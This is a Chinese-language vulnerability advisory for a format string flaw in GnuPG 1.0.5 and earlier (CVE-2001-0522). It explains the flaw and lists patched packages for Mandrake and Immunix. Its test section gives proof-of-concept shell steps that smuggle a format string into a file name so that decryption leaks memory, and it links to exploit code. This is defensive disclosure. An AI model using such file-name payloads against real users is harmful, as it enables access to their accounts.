首页 -> 安全研究

安全研究

安全漏洞
GnuPG <=1.0.5 格式串溢出漏洞

发布日期:2001-05-29
更新日期:2001-06-01

受影响系统:

Gnu GNU Privacy Guard 1.0.5
Gnu GNU Privacy Guard 1.0.4
Gnu GNU Privacy Guard 1.0.3b
Gnu GNU Privacy Guard 1.0.3
Gnu GNU Privacy Guard 1.0.2
Gnu GNU Privacy Guard 1.0.1
Gnu GNU Privacy Guard 1.0
   - Microsoft Windows ME
   - Microsoft Windows 9x
   - MandrakeSoft Linux Mandrake 8.0
   - MandrakeSoft Linux Mandrake 7.2
   - MandrakeSoft Linux Mandrake 7.1
   - MandrakeSoft Corporate Server 1.0.1
   - Immunix Immunix OS 7.0beta
   - Immunix Immunix OS 7.0
   - Immunix Immunix OS 6.2
   - 其他使用GnuPG的Unix系统

不受影响系统:

Gnu upgrade GNU Privacy Guard 1.0.6
描述:

BUGTRAQ  ID: 2797    
CVE(CAN) ID: CVE-2001-0522

GnuPG 是一个流行的进行公私钥加密的GNU工具,它是开放源码的。

它的代码中存在着一个格式串问题,在使用GnuPG解密一个带有特殊格式文件名的文件时,将触发这个漏洞。

如果某个GnuPG客户试图对恶意文件进行解密,一个恶意攻击者就可能远程获取对该GnuPG客户帐号的访问权限。

这个问题出在 util/ttyio.c中的'do_get'函数,它在调用'tty_printf'(类似vfprintf)时没有考虑格式串问题:

>     tty_printf( prompt );

如果gpg试图解密一个文件名不以'.gpg'结尾的文件,这个文件名将被拷贝到'prompt'缓冲区中,用户可以在此文件名中加入格式串来进行攻击。

<*来源:fish stiqz (fish@synnergy.net)
        主页:Synnergy Networks (http://www.synnergy.net/)
*>



测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!


fish stiqz (fish@synnergy.net)提供了验证方法和测试代码:

1.创建一个名字中带有格式串的文件

  $ echo "hello, how are you friend?" > %8x_%8x_%8x

2. 使用gpg加密这个文件:

  $ gpg -r fish@analog.org -e %8x_%8x_%8x
  gpg: this cipher algorithm is depreciated; please use a more standard one!

  $ ls %8x_%8x_%8x*
  %8x_%8x_%8x  %8x_%8x_%8x.gpg

3. 将".gpg"后缀改成别的后缀:

  $ mv %8x_%8x_%8x.gpg %8x_%8x_%8x.el8

4. 然后尝试解密文件:

  $ gpg %8x_%8x_%8x.el8

  You need a passphrase to unlock the secret key for
  user: "fish stiqz (bleh) <fish@analog.org>"
  1024-bit ELG-E key, ID D31DF63D, created 2001-05-24 (main key ID 5ABD075F)

  gpg: %8x_%8x_%8x.el8: unknown suffix
  Enter new filename [ 80af5d9_ 80cefb8_ 80af5ca]:  
  
  可以看到格式串打印了16进制数值。

测试代码: http://www.synnergy.net/download.php?op=mydown&did=63



建议:

临时解决方法:

不要使用gnupg解密非.gpg后缀的文件。

厂商补丁:

Gnu upgrade GNU Privacy Guard 1.0.6已经修复了此安全问题:
ftp://ftp.gnupg.org/gcrypt/gnupg/gnupg-1.0.6.tar.gz

Linux-Mandrake (http://www.linux-mandrake.com/)为此发布了一份安全公告 :
MDKSA-2001:053 - gnupg update

补丁下载 -
________________________________________________________________________
Linux-Mandrake 7.1:
6bce2d70a906e30605fa021e6d987f61  7.1/RPMS/gnupg-1.0.6-1.2mdk.i586.rpm
25735e364ecdff216d7b2bbfa1ef17fd  7.1/SRPMS/gnupg-1.0.6-1.2mdk.src.rpm

Linux-Mandrake 7.2:
cab7e68386a371f4f0ae8734f5601900  7.2/RPMS/gnupg-1.0.6-1.1mdk.i586.rpm
fe11e9355dd81b4840bc495c640984a6  7.2/SRPMS/gnupg-1.0.6-1.1mdk.src.rpm

Linux-Mandrake 8.0:
6a7527d8f95f6d45a0f6af6aa42f3661  8.0/RPMS/gnupg-1.0.6-1.1mdk.i586.rpm
fe11e9355dd81b4840bc495c640984a6  8.0/SRPMS/gnupg-1.0.6-1.1mdk.src.rpm

Corporate Server 1.0.1:
6bce2d70a906e30605fa021e6d987f61  1.0.1/RPMS/gnupg-1.0.6-1.2mdk.i586.rpm
25735e364ecdff216d7b2bbfa1ef17fd  1.0.1/SRPMS/gnupg-1.0.6-1.2mdk.src.rpm
________________________________________________________________________


Immunix (http://immunix.org/)为此发布了一份安全公告 :
IMNX-2001-70-023-01 - Immunix OS Security update for GnuPG


补丁下载 -
________________________________________________________________________
Precompiled binary packages for Immunix 6.2 are available at:
  http://download.immunix.org/ImmunixOS/6.2/updates/RPMS/gnupg-1.0.6-2_StackGuard.i386

Source packages for Immunix 6.2 are available at:
  http://download.immunix.org/ImmunixOS/6.2/updates/SRPMS/gnupg-1.0.6-2_StackGuard.src

Precompiled binary packages for Immunix 7.0-beta and 7.0 are available at:
   http://download.immunix.org/ImmunixOS/7.0/updates/RPMS/gnupg-1.0.6-2_imnx.i386.rpm

Source package for Immunix 7.0-beta and 7.0 is available at:
   http://download.immunix.org/ImmunixOS/7.0/updates/SRPMS/gnupg-1.0.6-2_imnx.src.rpm
______________________________________________________________________


浏览次数:5511
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障